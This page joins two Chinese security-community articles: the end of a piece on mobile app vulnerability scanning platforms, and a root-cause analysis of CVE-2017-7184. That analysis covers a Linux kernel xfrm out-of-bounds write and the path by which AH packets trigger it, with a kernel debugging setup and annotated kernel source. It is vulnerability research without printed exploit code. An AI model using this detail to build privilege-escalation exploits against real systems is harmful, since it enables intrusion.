图14 移动App自动化漏洞检测平台架构（点击查看大图）
### 五、未来移动App漏洞检测平台发展方向
在Google最新发布的Android
7.0系统增加了不安全特性，如APP开发者可以使用系统提供的接口自主配置信任的证书，默认也不再信任用户安装的第三方CA证书，此举可提升Android
App网络通信的安全性。
可见未来移动APP安全问题还将不断变化，目前大部分移动APP漏洞检测平台最终的检测结果也需要专业的安全研究人员评估实际风险，历史上很多移动端严重漏洞也是需要结合业务场景的，所以说移动App漏洞检测平台也只是企业移动App安全建设中的一环，此外推动移动安全人才培养，移动App安全开发规范，应用加固，盗版监测等体系建设也同样重要。
笔者个人认为未来移动APP漏洞检测平台可发展的几个方向有：
1.机器学习
机器学习在网络安全领域常用于恶意软件检测，流量检测等方面，目前也已经出现一些利用机器学习进行Android恶意应用等方面的开源工具（https://github.com/mwleeds/android-malware-analysis ）与研究，未来同样也可能应用于Android App漏洞检测。
2.威胁感知与大数据
如何从移动App中挖掘数据，并分析，整合进而利用于漏洞检测与威胁感知也是未来移动APP漏洞检测发展方向之一。目前部分漏洞检测平台已经开始支持采集应用市场所有移动APP源码及运行过程中产生的网络通信数据（如域名，IP，URL等），进行聚合分析与WEB接口漏洞检测。同时四维智创，梆梆等安全公司开始推广移动应用威胁感知产品，此类产品通过SDK收集应用的行为与网络数据，用于检测APT攻击，防刷单等场景。
3.社区化
目前国内已经有一些社区化的WEB漏洞检测平台，如Seebug，Tangscan等，盘古即将公测的Janus（http://appscan.io
）也同样开始主打社区化，Janus支持社区用户自定义检测规则，后台结合海量全网应用数据，可用于全网应用快速漏洞扫描。同时社区化加入了安全研究员的人工审计流程，后续可以不断提升漏洞特征建模的细度与广度，提升平台检测能力。
文章纯属原创，转载请注明出处（Android安全中文站），同时感谢lake2，riusksk，Flanker，小荷才露尖尖角，瘦蛟舞的指点。
#### 参考资料：
[1]
http://www.ijcaonline.org/research/volume134/number7/dhavale-2016-ijca-907855.pdf
[2] http://www.droidsec.cn/
[3] https://loccs.sjtu.edu.cn/
[4] http://jaq.alibaba.com/community/index.htm
[5] http://drops.wooyun.org/
[6] https://blog.flanker017.me/
来源链接：http://t.cn/Rwnsp8j
* * * | 社区文章 |
漏洞来源于长亭安全研究实验室在2017年PWN2OWN大赛中Ubuntu 16.10
Desktop的本地提权漏洞，本分析是该漏洞利用的一种直接越界写cred结构体进而提权的方法，后续可能会分析长亭文档中提及的劫持控制流的方法。
本次漏洞分析基于`Linux 4.4.0-21-generic`版本，即`Ubuntu 16.04.1`。镜像可从[此处](http://old-releases.ubuntu.com/releases/16.04.1/ubuntu-16.04-desktop-amd64.iso)下载，文中涉及的脚本可从[此处](https://github.com/ret2p4nda/kernel-pwn/blob/master/CVE-2017-7184)下载。
本篇文章被同步于[我的blog](http://p4nda.top/2019/02/16/CVE-2017-7184/)上，内容如有差错，望指出orz。
# 双机调试环境搭建
本次分析没有采用`QEMU`，而是用了`VMware`来进行双机调试，给我个人的感觉就是很慢，而且符号表不全很多函数都被编译优化掉了。调试环境构建参考了[《ubuntu
内核源码调试方法（双机调试》](https://bbs.pediy.com/thread-249192.htm)，由于我已经有了一个调试虚拟机（debugging），所以仅需利用上述镜像构建被调试机（debuggee）。
## debugging环境配置
由于主要的调试时在`debugging`上完成的，所以大部分的程序包都需要安装在debugging上。
**dbsym安装**
这个就是带有符号表的vmlinux文件，需要根据debuggee来确定。
如在`debuggee`上利用`uname -sr`命令得到的结果是`Linux
4.4.0-21-generic`，则需要下载安装`vmlinux-4.4.0-21-generic`。
首先需要更新源文件，执行命令如下：
# 增加source.list
codename=$(lsb_release -c | awk '{print $2}')
sudo tee /etc/apt/sources.list.d/ddebs.list << EOF
deb http://ddebs.ubuntu.com/ ${codename} main restricted universe multiverse
deb http://ddebs.ubuntu.com/ ${codename}-security main restricted universe multiverse
deb http://ddebs.ubuntu.com/ ${codename}-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com/ ${codename}-proposed main restricted universe multiverse
EOF
# 添加访问符号服务器的秘钥文件
wget -O - http://ddebs.ubuntu.com/dbgsym-release-key.asc | sudo apt-key add - # 更新源文件
sudo apt-get update
然后利用apt-get下载这个文件：
sudo apt-get install linux-image-4.4.0-21-generic-dbgsym
然后进入漫长的等待，最终在`/usr/lib/debug/boot/vmlinux-4.4.0-21-generic`这里可以找到。
**源码下载与配置**
我采用了比较粗暴的方法，直接下载`linux 4.4.0`版本的源码，命令如下：
# 启用deb-src
deb-src http://cn.archive.ubuntu.com/ubuntu/ xenial main restricted
#搜索源码：
apt-cache search linux-source
#安装指定版本的源码：
sudo apt-get install linux-source-4.4.0
默认下载的源码会放在`/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2`。并将其解压到`/build/linux-Ay7j_C/linux-4.4.0`目录下就可以在调试的时候看到源码。原因是调试符号中包含的路径是编译时的硬编码路径，因此其他Ubuntu版本在调试时可找到这个硬编码路径，将源码解压到此处即可。
**设置通信串口**
需要为`debugging`添加通信的串口，其调试原理是两虚拟机通过物理实体机的串口进行通信，远程调试。
对`debugging`的设置如下，命名管道如果 **物理机**
是`Windows`系统，则为`//./pipe/com_1`。`Linux`系统为`/tmp/serial`。由于存在打印机设备可能占用`/dev/ttyS0设备`，因此在`debugging`和`debuggee`中，我均删除了这个硬件。
**编写调试脚本**
调试脚本即`gdb`所执行的命令，用于远程调试`debuggee`。此脚本需要`sudo`执行。
gdb \
-ex "add-auto-load-safe-path $(pwd)" \
-ex "file /usr/lib/debug/boot/vmlinux-4.4.0-21-generic" \
-ex 'set arch i386:x86-64:intel' \
-ex 'target remote /dev/ttyS0' \
-ex 'continue' \
-ex 'disconnect' \
-ex 'set arch i386:x86-64' \
-ex 'target remote /dev/ttyS0'
## debuggee环境配置
**启动项设置**
首先需要在为待调试的内核设置一个新的启动项，使其开机时进入调试模式，等待链接。
具体操作是编辑`/etc/grub.d/40_custom`，在其中加入
#!/bin/sh
exec tail -n +3 $0
# This file provides an easy way to add custom menu entries. Simply type the
# menu entries you want to add after this comment. Be careful not to change
# the 'exec tail' line above.
menuentry 'Ubuntu, KGDB with nokaslr' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-b5907b23-09bb-4b75-bd51-eb04048e56d8' {
recordfail
load_video
gfxmode $linux_gfx_mode
insmod gzio
if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
insmod part_msdos
insmod ext2
set root='hd0,msdos1'
if [ x$feature_platform_search_hint = xy ]; then
search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1 b5907b23-09bb-4b75-bd51-eb04048e56d8
else
search --no-floppy --fs-uuid --set=root b5907b23-09bb-4b75-bd51-eb04048e56d8
fi
echo 'Loading Linux 4.10.0-19 with KGDB built by GEDU lab...'
linux /boot/vmlinuz-4.4.0-21-generic root=UUID=b5907b23-09bb-4b75-bd51-eb04048e56d8 ro find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US quiet kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr
echo 'Loading initial ramdisk ...'
initrd /boot/initrd.img-4.4.0-21-generic
其中参数可参考`/boot/grub/grub.cfg`文件，修改完成后执行`sudo update-grub`命令。
**设置通信串口**
`debuggee`通信串口的设置与 `debugging`设置类似，区别仅在于`debugging`是服务器，`debuggee`是客户机。
* * *
## 进入调试
在`debugging`启动时，按住`shift`，出现如下界面，选择`KGDB with nokaslr`。
系统进入远程调试等待。
此时，在`debugging`中执行`sudo ./gdb_kernel`，就可以远程调试了。
# 漏洞分析
漏洞位于内核`xfrm`模块，该模块是`IPSEC`协议的实现模块。其中`xfrm_state`结构体用于表示一个`SA(Security
Associstion)`，`AH`及`ESP`协议数据包可通过`SA`进行检查，其数据结构如下：
struct xfrm_state {
possible_net_t xs_net;
union {
struct hlist_node gclist;
struct hlist_node bydst;
};
struct hlist_node bysrc;
struct hlist_node byspi;
atomic_t refcnt;
spinlock_t lock;
struct xfrm_id id;
struct xfrm_selector sel;
struct xfrm_mark mark;
u32 tfcpad;
u32 genid;
/* Key manager bits */
struct xfrm_state_walk km;
/* Parameters of this state. */
struct {
u32 reqid;
u8 mode;
u8 replay_window;
u8 aalgo, ealgo, calgo;
u8 flags;
u16 family;
xfrm_address_t saddr;
int header_len;
int trailer_len;
u32 extra_flags;
} props;
struct xfrm_lifetime_cfg lft;
/* Data for transformer */
struct xfrm_algo_auth *aalg;
struct xfrm_algo *ealg;
struct xfrm_algo *calg;
struct xfrm_algo_aead *aead;
const char *geniv;
/* Data for encapsulator */
struct xfrm_encap_tmpl *encap;
/* Data for care-of address */
xfrm_address_t *coaddr;
/* IPComp needs an IPIP tunnel for handling uncompressed packets */
struct xfrm_state *tunnel;
/* If a tunnel, number of users + 1 */
atomic_t tunnel_users;
/* State for replay detection */
struct xfrm_replay_state replay;
struct xfrm_replay_state_esn *replay_esn;
/* Replay detection state at the time we sent the last notification */
struct xfrm_replay_state preplay;
struct xfrm_replay_state_esn *preplay_esn;
/* The functions for replay detection. */
const struct xfrm_replay *repl;
/* internal flag that only holds state for delayed aevent at the
* moment
*/
u32 xflags;
/* Replay detection notification settings */
u32 replay_maxage;
u32 replay_maxdiff;
/* Replay detection notification timer */
struct timer_list rtimer;
/* Statistics */
struct xfrm_stats stats;
struct xfrm_lifetime_cur curlft;
struct tasklet_hrtimer mtimer;
/* used to fix curlft->add_time when changing date */
long saved_tmo;
/* Last used time */
unsigned long lastused;
/* Reference to data common to all the instances of this
* transformer. */
const struct xfrm_type *type;
struct xfrm_mode *inner_mode;
struct xfrm_mode *inner_mode_iaf;
struct xfrm_mode *outer_mode;
/* Security context */
struct xfrm_sec_ctx *security;
/* Private data of this transformer, format is opaque,
* interpreted by xfrm_type methods. */
void *data;
};
其中，`struct xfrm_id id;`用于标识一个`SA`身份，包含`daddr、spi、proto`三个参数。
struct xfrm_id {
xfrm_address_t daddr;
__be32 spi;
__u8 proto;
};
此外，`SA`还包括一个`xfrm_replay_state_esn`结构体，该结构体定义如下。其中bmp是一个边长的内存区域，是一块`bitmap`，用于标识数据包的`seq`是否被重放过，其中`bmp_len`表示变长结构体的大小，replay_window用于`seq`索引的模数，即索引的范围，此结构体在创建`xfrm_state`结构体时根据用户输入参数动态被创建，而程序漏洞存在于这个结构体的读写过程中。
struct xfrm_replay_state_esn {
unsigned int bmp_len;
__u32 oseq;
__u32 seq;
__u32 oseq_hi;
__u32 seq_hi;
__u32 replay_window;
__u32 bmp[0];
};
## xfrm_state结构体生成
该结构体生成位于[xfrm_add_sa](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_user.c#L616)函数中，在[1]处对用户输入数据进行参数及协议检查，在[2]处对根据用户输入对结构体进行构造，并放入SA结构体的哈希链表中
static int xfrm_add_sa(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attrs)
{
struct net *net = sock_net(skb->sk);
struct xfrm_usersa_info *p = nlmsg_data(nlh);
struct xfrm_state *x;
int err;
struct km_event c;
[1] err = verify_newsa_info(p, attrs); //协议及参数检查
if (err)
return err;
[2] x = xfrm_state_construct(net, p, attrs, &err);
if (!x)
return err;
xfrm_state_hold(x);
if (nlh->nlmsg_type == XFRM_MSG_NEWSA)
err = xfrm_state_add(x);
else
err = xfrm_state_update(x);
xfrm_audit_state_add(x, err ? 0 : 1, true);
if (err < 0) {
x->km.state = XFRM_STATE_DEAD;
__xfrm_state_put(x);
goto out;
}
c.seq = nlh->nlmsg_seq;
c.portid = nlh->nlmsg_pid;
c.event = nlh->nlmsg_type;
km_state_notify(x, &c);
out:
xfrm_state_put(x);
return err;
}
在[verify_newsa_info](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_user.c#L151)函数中，首先根据`id.proto`协议对用户输入的非兼容性参数进行检查，并对各输入参数中的长度合理性进行检查，我们只关心在[1]处的`XFRMA_REPLAY_ESN_VAL`数据检查。
static int verify_newsa_info(struct xfrm_usersa_info *p,
struct nlattr **attrs)
{
int err;
err = -EINVAL;
switch (p->family) {
case AF_INET: //IPv4
break;
case AF_INET6: //IPv6
#if IS_ENABLED(CONFIG_IPV6)
break;
#else
err = -EAFNOSUPPORT;
goto out;
#endif
default:
goto out;
}
err = -EINVAL;
switch (p->id.proto) {
case IPPROTO_AH:
......
break;
case IPPROTO_ESP:
......
break;
case IPPROTO_COMP:
......
break;
#if IS_ENABLED(CONFIG_IPV6)
case IPPROTO_DSTOPTS:
case IPPROTO_ROUTING:
......
break;
#endif
default:
goto out;
}
if ((err = verify_aead(attrs))) //XFRMA_ALG_AEAD参数长度检查
goto out;
if ((err = verify_auth_trunc(attrs)))//XFRMA_ALG_AUTH_TRUNC参数长度检查
goto out;
if ((err = verify_one_alg(attrs, XFRMA_ALG_AUTH)))//XFRMA_ALG_AUTH参数长度检查
goto out;
if ((err = verify_one_alg(attrs, XFRMA_ALG_CRYPT)))//XFRMA_ALG_CRYPT参数长度检查
goto out;
if ((err = verify_one_alg(attrs, XFRMA_ALG_COMP)))//XFRMA_ALG_COMP参数长度检查
goto out;
if ((err = verify_sec_ctx_len(attrs)))//XFRMA_SEC_CTX数据长度定义检查
goto out;
[1] if ((err = verify_replay(p, attrs)))//XFRMA_REPLAY_ESN_VAL数据检查
goto out;
err = -EINVAL;
switch (p->mode) {
case XFRM_MODE_TRANSPORT:
case XFRM_MODE_TUNNEL:
case XFRM_MODE_ROUTEOPTIMIZATION:
case XFRM_MODE_BEET:
break;
default:
goto out;
}
err = 0;
out:
return err;
}
在[verify_replay](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_user.c#L103)函数中，可以看到检查主要有如下几条：[1]`bmp_len`是否超过最大值，最大值定义为`4096/4/8`。[2]检查参数长度定义是否正确。[3]是否为`IPPROTO_ESP`或者`IPPROTO_AH`协议。
static inline int verify_replay(struct xfrm_usersa_info *p,
struct nlattr **attrs)
{
struct nlattr *rt = attrs[XFRMA_REPLAY_ESN_VAL];
struct xfrm_replay_state_esn *rs;
if (p->flags & XFRM_STATE_ESN) {
if (!rt)
return -EINVAL;
rs = nla_data(rt);
[1] if (rs->bmp_len > XFRMA_REPLAY_ESN_MAX / sizeof(rs->bmp[0]) / 8)// (4096/4/8)
return -EINVAL;
[2] if (nla_len(rt) < xfrm_replay_state_esn_len(rs) &&
nla_len(rt) != sizeof(*rs)) //bmp[0]=NULL 或 bmp+head < nla_len
return -EINVAL;
}
if (!rt)
return 0;
/* As only ESP and AH support ESN feature. */
[3] if ((p->id.proto != IPPROTO_ESP) && (p->id.proto != IPPROTO_AH))
return -EINVAL;
if (p->replay_window != 0)
return -EINVAL;
return 0;
}
回到`xfrm_add_sa`函数，继续分析[xfrm_state_construct](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_user.c#L528)函数。首先在`xfrm_state_alloc`中用调用`kzalloc`函数新建`xfrm_state`，并拷贝用户数据进行赋值。接下来根据用户输入的各种参数进行类型构建。关于`xfrm_replay_state_esn`这个结构体在[3]处申请，在[4]处进行验证。
static struct xfrm_state *xfrm_state_construct(struct net *net,
struct xfrm_usersa_info *p,
struct nlattr **attrs,
int *errp)
{
[1] struct xfrm_state *x = xfrm_state_alloc(net); //新建 xfrm_state 结构
int err = -ENOMEM;
if (!x)
goto error_no_put;
[2] copy_from_user_state(x, p); //拷贝用户数据
if (attrs[XFRMA_SA_EXTRA_FLAGS])
x->props.extra_flags = nla_get_u32(attrs[XFRMA_SA_EXTRA_FLAGS]);
if ((err = attach_aead(x, attrs[XFRMA_ALG_AEAD])))
goto error;
if ((err = attach_auth_trunc(&x->aalg, &x->props.aalgo,
attrs[XFRMA_ALG_AUTH_TRUNC])))
goto error;
if (!x->props.aalgo) {
if ((err = attach_auth(&x->aalg, &x->props.aalgo,
attrs[XFRMA_ALG_AUTH])))
goto error;
}
if ((err = attach_crypt(x, attrs[XFRMA_ALG_CRYPT])))
goto error;
if ((err = attach_one_algo(&x->calg, &x->props.calgo,
xfrm_calg_get_byname,
attrs[XFRMA_ALG_COMP])))
goto error;
if (attrs[XFRMA_ENCAP]) {
x->encap = kmemdup(nla_data(attrs[XFRMA_ENCAP]),
sizeof(*x->encap), GFP_KERNEL);
if (x->encap == NULL)
goto error;
}
if (attrs[XFRMA_TFCPAD])
x->tfcpad = nla_get_u32(attrs[XFRMA_TFCPAD]);
if (attrs[XFRMA_COADDR]) {
x->coaddr = kmemdup(nla_data(attrs[XFRMA_COADDR]),
sizeof(*x->coaddr), GFP_KERNEL);
if (x->coaddr == NULL)
goto error;
}
xfrm_mark_get(attrs, &x->mark);
err = __xfrm_init_state(x, false);
if (err)
goto error;
if (attrs[XFRMA_SEC_CTX]) {
err = security_xfrm_state_alloc(x,
nla_data(attrs[XFRMA_SEC_CTX]));
if (err)
goto error;
}
//对x->replay_esn、x->preplay_esn初始化为用户输入XFRMA_REPLAY_ESN_VAL参数
[3] if ((err = xfrm_alloc_replay_state_esn(&x->replay_esn, &x->preplay_esn,
attrs[XFRMA_REPLAY_ESN_VAL])))
goto error;
x->km.seq = p->seq;
x->replay_maxdiff = net->xfrm.sysctl_aevent_rseqth;
/* sysctl_xfrm_aevent_etime is in 100ms units */
x->replay_maxage = (net->xfrm.sysctl_aevent_etime*HZ)/XFRM_AE_ETH_M;
[4] if ((err = xfrm_init_replay(x)))//检查滑动窗口大小及flag，确定检测使用的函数
goto error;
/* override default values from above */
xfrm_update_ae_params(x, attrs, 0);
return x;
error:
x->km.state = XFRM_STATE_DEAD;
xfrm_state_put(x);
error_no_put:
*errp = err;
return NULL;
}
在[xfrm_alloc_replay_state_esn](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_user.c#L421)中，可以看到通过`kzalloc`函数分别申请了两块同样大小的内存，大小为`sizeof(*replay_esn)
+ replay_esn->bmp_len *
sizeof(__u32)`，并将用户数据中`attr[XFRMA_REPLAY_ESN_VAL]`内容复制过去。
static int xfrm_alloc_replay_state_esn(struct xfrm_replay_state_esn **replay_esn,
struct xfrm_replay_state_esn **preplay_esn,
struct nlattr *rta)
{
struct xfrm_replay_state_esn *p, *pp, *up;
int klen, ulen;
if (!rta)
return 0;
up = nla_data(rta);
klen = xfrm_replay_state_esn_len(up);
ulen = nla_len(rta) >= klen ? klen : sizeof(*up);
p = kzalloc(klen, GFP_KERNEL);
if (!p)
return -ENOMEM;
pp = kzalloc(klen, GFP_KERNEL);
if (!pp) {
kfree(p);
return -ENOMEM;
}
memcpy(p, up, ulen);
memcpy(pp, up, ulen);
*replay_esn = p;
*preplay_esn = pp;
return 0;
}
最终在[xfrm_init_replay](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_replay.c#L585)函数中对上述申请的结构体数据进行检查，`replay_window`不大于定义的`bmp_len`大小，并对`x->repl`进行初始化，该成员是一个函数虚表，作用是在收到`AH`或`ESP`协议数据包时进行数据重放检查。
int xfrm_init_replay(struct xfrm_state *x)
{
struct xfrm_replay_state_esn *replay_esn = x->replay_esn;
if (replay_esn) {
if (replay_esn->replay_window >
replay_esn->bmp_len * sizeof(__u32) * 8)//不大于bmp本身长度
return -EINVAL;
if (x->props.flags & XFRM_STATE_ESN) {
if (replay_esn->replay_window == 0)
return -EINVAL;
x->repl = &xfrm_replay_esn;
} else
x->repl = &xfrm_replay_bmp;
} else
x->repl = &xfrm_replay_legacy;
return 0;
}
EXPORT_SYMBOL(xfrm_init_replay);
## xfrm_replay_state_esn结构体更新
对于一个`SA`，内核提供修改`replay_esn`
成员的功能，也就是`xfrm_alloc_replay_state_esn`申请的第一个内存块。在[xfrm_new_ae](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_user.c#L1926)函数中，首先在[1]处循环查找哈希链表，得到`xfrm_state`结构体，查找标识是之前提到的三个要素。而在[2]处，对用户输入的`attr[XFRMA_REPLAY_ESN_VAL]`参数进行检查，也就是修改后的`replay_esn`
成员内容。最后在[3]处，利用`memcpy`进行成员内容修改。
static int xfrm_new_ae(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attrs)
{
struct net *net = sock_net(skb->sk);
struct xfrm_state *x;
struct km_event c;
int err = -EINVAL;
u32 mark = 0;
struct xfrm_mark m;
struct xfrm_aevent_id *p = nlmsg_data(nlh);
struct nlattr *rp = attrs[XFRMA_REPLAY_VAL];
struct nlattr *re = attrs[XFRMA_REPLAY_ESN_VAL];
struct nlattr *lt = attrs[XFRMA_LTIME_VAL];
struct nlattr *et = attrs[XFRMA_ETIMER_THRESH];
struct nlattr *rt = attrs[XFRMA_REPLAY_THRESH];
if (!lt && !rp && !re && !et && !rt)
return err;
/* pedantic mode - thou shalt sayeth replaceth */
if (!(nlh->nlmsg_flags&NLM_F_REPLACE))
return err;
mark = xfrm_mark_get(attrs, &m); //copy XFRMA_MARK变量，返回值是u32
[1] x = xfrm_state_lookup(net, mark, &p->sa_id.daddr, p->sa_id.spi, p->sa_id.proto, p->sa_id.family); //循环查找hash表，得到xfrm_state结构体
if (x == NULL)
return -ESRCH;
if (x->km.state != XFRM_STATE_VALID)
goto out;
[2] err = xfrm_replay_verify_len(x->replay_esn, re); //XFRMA_REPLAY_ESN_VAL参数检查
if (err)
goto out;
spin_lock_bh(&x->lock);
[3] xfrm_update_ae_params(x, attrs, 1); //memcpy
spin_unlock_bh(&x->lock);
c.event = nlh->nlmsg_type;
c.seq = nlh->nlmsg_seq;
c.portid = nlh->nlmsg_pid;
c.data.aevent = XFRM_AE_CU;
km_state_notify(x, &c);
err = 0;
out:
xfrm_state_put(x);
return err;
}
验证过程在[xfrm_replay_verify_len](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_user.c#L403)函数中，可见在检查过程中主要检查了修改部分的`bmp_len`长度，该检查是因为`replay_esn`成员内存是直接进行复制的，不再二次分配。但缺少了对`replay_window`变量的检测，
**导致引用`replay_window`变量进行`bitmap`读写时造成的数组越界问题**。
static inline int xfrm_replay_verify_len(struct xfrm_replay_state_esn *replay_esn,
struct nlattr *rp)
{
struct xfrm_replay_state_esn *up;
int ulen;
if (!replay_esn || !rp)
return 0;
up = nla_data(rp);
ulen = xfrm_replay_state_esn_len(up);
if (nla_len(rp) < ulen || xfrm_replay_state_esn_len(replay_esn) != ulen) //自身长度逻辑正确，ulen与原len相同
return -EINVAL;
return 0;
}
## 数组越界写定位
通过对`xfrm`模块代码中，`replay_window`关键字的查找，可以发现主要对这个关键字的操作位于`xfrm_replay_advance_esn`和`xfrm_replay_check_esn`函数中。而通过这两个函数的查找发现二者位于同一
结构体[xfrm_replay_esn](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_replay.c#L578)下，
static const struct xfrm_replay xfrm_replay_esn = {
.advance = xfrm_replay_advance_esn,
.check = xfrm_replay_check_esn,
.recheck = xfrm_replay_recheck_esn,
.notify = xfrm_replay_notify_esn,
.overflow = xfrm_replay_overflow_esn,
};
而定义这个结构体，可以发现这个结构体在之前提到过的`xfrm_init_replay`函数中被使用，并为`x->repl`成员赋值，因此转而寻找`x->repl`成员被调用的位置，最终跟踪到了`xfrm_input`函数，而`xfrm_input`函数之前被[xfrm4_rcv_spi](https://elixir.bootlin.com/linux/v4.10.6/source/include/net/xfrm.h#L1523)
<=
[xfrm4_rcv](https://elixir.bootlin.com/linux/v4.10.6/source/net/ipv4/xfrm4_input.c#L155)
<=
[xfrm4_ah_rcv](https://elixir.bootlin.com/linux/v4.10.6/source/net/ipv4/xfrm4_protocol.c#L118)
最终追溯到`AH`协议的内核协议栈中。
static const struct net_protocol ah4_protocol = {
.handler = xfrm4_ah_rcv,
.err_handler = xfrm4_ah_err,
.no_policy = 1,
.netns_ok = 1,
};
可见，通过发送`AH`数据包可以触发越界读写。
在[xfrm_input](https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm/xfrm_input.c#L182)函数中，首先在[1]处利用`AH`数据包数据找到对应的`SA`，在[2]处调用`xfrm_replay_check_esn`进行检查，再调用`xfrm_replay_recheck_esn`再次检查，最终在[3]处调用`xfrm_replay_advance_esn`。
int xfrm_input(struct sk_buff *skb, int nexthdr, __be32 spi, int encap_type)
{
struct net *net = dev_net(skb->dev);
int err;
__be32 seq;
__be32 seq_hi;
struct xfrm_state *x = NULL;
xfrm_address_t *daddr;
struct xfrm_mode *inner_mode;
u32 mark = skb->mark;
unsigned int family;
int decaps = 0;
int async = 0;
/* A negative encap_type indicates async resumption. */
if (encap_type < 0) { //here is zero
async = 1;
x = xfrm_input_state(skb);
seq = XFRM_SKB_CB(skb)->seq.input.low;
family = x->outer_mode->afinfo->family;
goto resume;
}
daddr = (xfrm_address_t *)(skb_network_header(skb) +
XFRM_SPI_SKB_CB(skb)->daddroff);
family = XFRM_SPI_SKB_CB(skb)->family;
/* if tunnel is present override skb->mark value with tunnel i_key */
switch (family) {
case AF_INET:
if (XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip4) // p32
mark = be32_to_cpu(XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip4->parms.i_key);
break;
case AF_INET6:
if (XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip6)
mark = be32_to_cpu(XFRM_TUNNEL_SKB_CB(skb)->tunnel.ip6->parms.i_key);
break;
}
/* Allocate new secpath or COW existing one. */
if (!skb->sp || atomic_read(&skb->sp->refcnt) != 1) {
struct sec_path *sp;
sp = secpath_dup(skb->sp);
if (!sp) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINERROR);
goto drop;
}
if (skb->sp)
secpath_put(skb->sp);
skb->sp = sp;
}
seq = 0;
if (!spi && (err = xfrm_parse_spi(skb, nexthdr, &spi, &seq)) != 0) { //spi =0
XFRM_INC_STATS(net, LINUX_MIB_XFRMINHDRERROR);
goto drop;
}
do {
if (skb->sp->len == XFRM_MAX_DEPTH) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINBUFFERERROR);
goto drop;
}
[1] x = xfrm_state_lookup(net, mark, daddr, spi, nexthdr, family);//找到对应的xfrm_state
if (x == NULL) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINNOSTATES);
xfrm_audit_state_notfound(skb, family, spi, seq);
goto drop;
}
skb->sp->xvec[skb->sp->len++] = x;
spin_lock(&x->lock);
if (unlikely(x->km.state != XFRM_STATE_VALID)) {
if (x->km.state == XFRM_STATE_ACQ)
XFRM_INC_STATS(net, LINUX_MIB_XFRMACQUIREERROR);
else
XFRM_INC_STATS(net,
LINUX_MIB_XFRMINSTATEINVALID);
goto drop_unlock;
}
if ((x->encap ? x->encap->encap_type : 0) != encap_type) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMISMATCH);
goto drop_unlock;
}
//x->repl 在 xfrm_init_replay赋值，可调用xfrm_replay_check_esn
[2] if (x->repl->check(x, skb, seq)) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATESEQERROR);
goto drop_unlock;
}
if (xfrm_state_check_expire(x)) {//check x->lft内容
XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEEXPIRED);
goto drop_unlock;
}
spin_unlock(&x->lock);
//检查tunnel参数
if (xfrm_tunnel_check(skb, x, family)) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMODEERROR);
goto drop;
}
//根据x->replay_esn中，seq、replay_windows关系，返回seqhi
seq_hi = htonl(xfrm_replay_seqhi(x, seq));
XFRM_SKB_CB(skb)->seq.input.low = seq;
XFRM_SKB_CB(skb)->seq.input.hi = seq_hi;
skb_dst_force(skb);
dev_hold(skb->dev);
nexthdr = x->type->input(x, skb);
if (nexthdr == -EINPROGRESS)
return 0;
resume:
dev_put(skb->dev);
spin_lock(&x->lock);
if (nexthdr <= 0) {
if (nexthdr == -EBADMSG) {
xfrm_audit_state_icvfail(x, skb,
x->type->proto);
x->stats.integrity_failed++;
}
XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEPROTOERROR);
goto drop_unlock;
}
/* only the first xfrm gets the encap type */
encap_type = 0;
// async = 0 并调用xfrm_replay_recheck_esn
if (async && x->repl->recheck(x, skb, seq)) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATESEQERROR);
goto drop_unlock;
}
//调用xfrm_replay_advance_esn
[3] x->repl->advance(x, seq);
x->curlft.bytes += skb->len;
x->curlft.packets++;
spin_unlock(&x->lock);
XFRM_MODE_SKB_CB(skb)->protocol = nexthdr;
inner_mode = x->inner_mode;
if (x->sel.family == AF_UNSPEC) {
inner_mode = xfrm_ip2inner_mode(x, XFRM_MODE_SKB_CB(skb)->protocol);
if (inner_mode == NULL) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMODEERROR);
goto drop;
}
}
if (inner_mode->input(x, skb)) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINSTATEMODEERROR);
goto drop;
}
if (x->outer_mode->flags & XFRM_MODE_FLAG_TUNNEL) {
decaps = 1;
break;
}
/*
* We need the inner address. However, we only get here for
* transport mode so the outer address is identical.
*/
daddr = &x->id.daddr;
family = x->outer_mode->afinfo->family;
err = xfrm_parse_spi(skb, nexthdr, &spi, &seq);
if (err < 0) {
XFRM_INC_STATS(net, LINUX_MIB_XFRMINHDRERROR);
goto drop;
}
} while (!err);
err = xfrm_rcv_cb(skb, family, x->type->proto, 0);
if (err)
goto drop;
nf_reset(skb);
if (decaps) {
skb_dst_drop(skb);
netif_rx(skb);
return 0;
} else {
return x->inner_mode->afinfo->transport_finish(skb, async);
}
drop_unlock:
spin_unlock(&x->lock);
drop:
xfrm_rcv_cb(skb, family, x && x->type ? x->type->proto : nexthdr, -1);
kfree_skb(skb);
return 0;
}
